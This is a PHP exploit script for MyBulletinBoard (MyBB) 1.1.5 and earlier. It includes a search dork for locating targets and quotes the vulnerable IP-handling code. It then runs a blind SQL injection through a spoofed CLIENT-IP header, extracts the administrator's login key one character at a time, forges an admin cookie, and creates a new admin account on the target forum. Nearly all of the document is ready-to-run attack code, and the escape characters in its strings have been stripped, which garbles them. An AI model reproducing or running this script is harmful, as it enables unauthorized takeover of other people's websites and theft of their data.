#!/usr/bin/php -q -d short_open_tag=on
<?
echo "MyBulletinBoard (MyBB) <= 1.1.5 'CLIENT-IP' SQL injection / create new admin exploitn";
echo "by rgod rgod (at) autistici (dot) org [email concealed]n";
echo "site: http://retrogod.altervista.orgn";
echo "dork, version specific: "Powered By MyBB" "2006 MyBB Group"nn";
/*
works regardless of php.ini settings
*/
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONSn";
echo "host: target server (ip/hostname)n";
echo "path: path to MyBBn";
echo "Options:n";
echo " -T[prefix] specify a table prefix different from default (mybb_)n";
echo " -u[number] specify a user id other than 1 (usually admin)n";
echo " -p[port]: specify a port other than 80n";
echo " -P[ip:port]: specify a proxyn";
echo " -d: disclose table prefix (reccomended)n";
echo "Example:rn";
echo "php ".$argv[0]." localhost /MyBB/ -drn";
echo "php ".$argv[0]." localhost /MyBB/ -Tmy_rn";
die;
}
/* software site: http://www.mybboard.com/
vulnerable code in inc/functions.php near lines 1292-1320:
...
function getip() {
global $_SERVER;
if($_SERVER['HTTP_X_FORWARDED_FOR'])
{
if(preg_match_all("#[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))
{
while(list($key, $val) = each($addresses[0]))
{
if(!preg_match("#^(10|172.16|192.168).#", $val))
{
$ip = $val;
break;
}
}
}
}
if(!$ip)
{
if($_SERVER['HTTP_CLIENT_IP'])
{
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
}
return $ip;
}
...
you can spoof your ip address through the CLIENT-IP http header...
as result you can inject sql statements in class_session.php at lines 36-68:
by calling the main index.php script
...
function init()
{
global $ipaddress, $db, $mybb, $noonline;
//
// Get our visitors IP
//
$this->ipaddress = $ipaddress = getip();
//
// User-agent
//
$this->useragent = $_SERVER['HTTP_USER_AGENT'];
if(strlen($this->useragent) > 100)
{
$this->useragent = substr($this->useragent, 0, 100);
}
//
// Attempt to find a session id in the cookies
//
if($_COOKIE['sid'])
{
$this->sid = addslashes($_COOKIE['sid']);
}
else
{
$this->sid = 0;
}
//
// Attempt to load the session from the database
//
$query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'");
...
injection is blind, but you can ask true-false questions to the database to
retrieve the admin loginkey.
Through that you can build an admin cookie and create a new admin user through
the admin/users.php script.
Also you can disclose table prefix.
------------------------------------------------------------------------
--------
-***********************************************************************
******-
* *
* Italia - Germania 2-0, al 114' forse il più bel gol che abbia mai visto *
* grazie Grosso! *
* *
-***********************************************************************
******-
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
$anumber = rand(1,99999);
$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="mybb_";
$user_id="1";//admin
$proxy="";
$dt=0;
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-u")
{
$user_id=str_replace("-u","",$argv[$i]);
}
if ($temp=="-d")
{
$dt=1;
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if ($dt)
{
$sql="'suntzuuuu/*";
echo "sql -> ".$sql."rn";
$packet ="GET ".$p."index.php HTTP/1.0rn";
$packet.="CLIENT-IP: $sqlrn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
if (eregi("You have an error in your SQL syntax",$html))
{
$temp=explode("sessions",$html);
$temp2=explode(" ",$temp[0]);
$prefix=$temp2[count($temp2)-1];
echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"n";
}
else
{
echo "unable to disclose table prefix...n";
}
sleep(1);
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(65,90));//A-Z letters
$chars=array_merge($chars,range(97,122));//a-f letters
$j=1;
$loginkey="";
while (!strstr($loginkey,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*";
echo "sql -> ".$sql."rn";
$packet ="GET ".$p."index.php HTTP/1.0rn";
$packet.="CLIENT-IP: $sqlrn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]rn";sleep(1);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
$cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";";
echo "admin cookie -> ".$cookie."rn";
$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="action";
do_add
-----------------------------7d62702f250530
Content-Disposition: form-data; name="userusername";
suntzu'.$anumber.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="newpassword";
suntzu'.$anumber.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="email";
suntzoi (at) suntzu (dot) org [email concealed]
-----------------------------7d62702f250530
Content-Disposition: form-data; name="usergroup";
4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="additionalgroups[]";
4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="displaygroup";
4
-----------------------------7d62702f250530
Content-Disposition: form-data; name="Add User";
Add User
-----------------------------7d62702f250530--
';
$packet="POST ".$p."admin/users.php HTTP/1.0rn";
$packet.="User-Agent: Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Cookie: ".$cookie."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
if (eregi("The user has successfully been added",$html))
{
echo "exploit succeeded... now login as adminn";
echo "with username "suntzu".$anumber."" and password "suntzu".$anumber.""n";
}
else
{
echo "something goes wrong...n";if(!$dt)echo "you may try -d optionn";
}
?>
original url: http://retrogod.altervista.org/mybb_115_sql.html
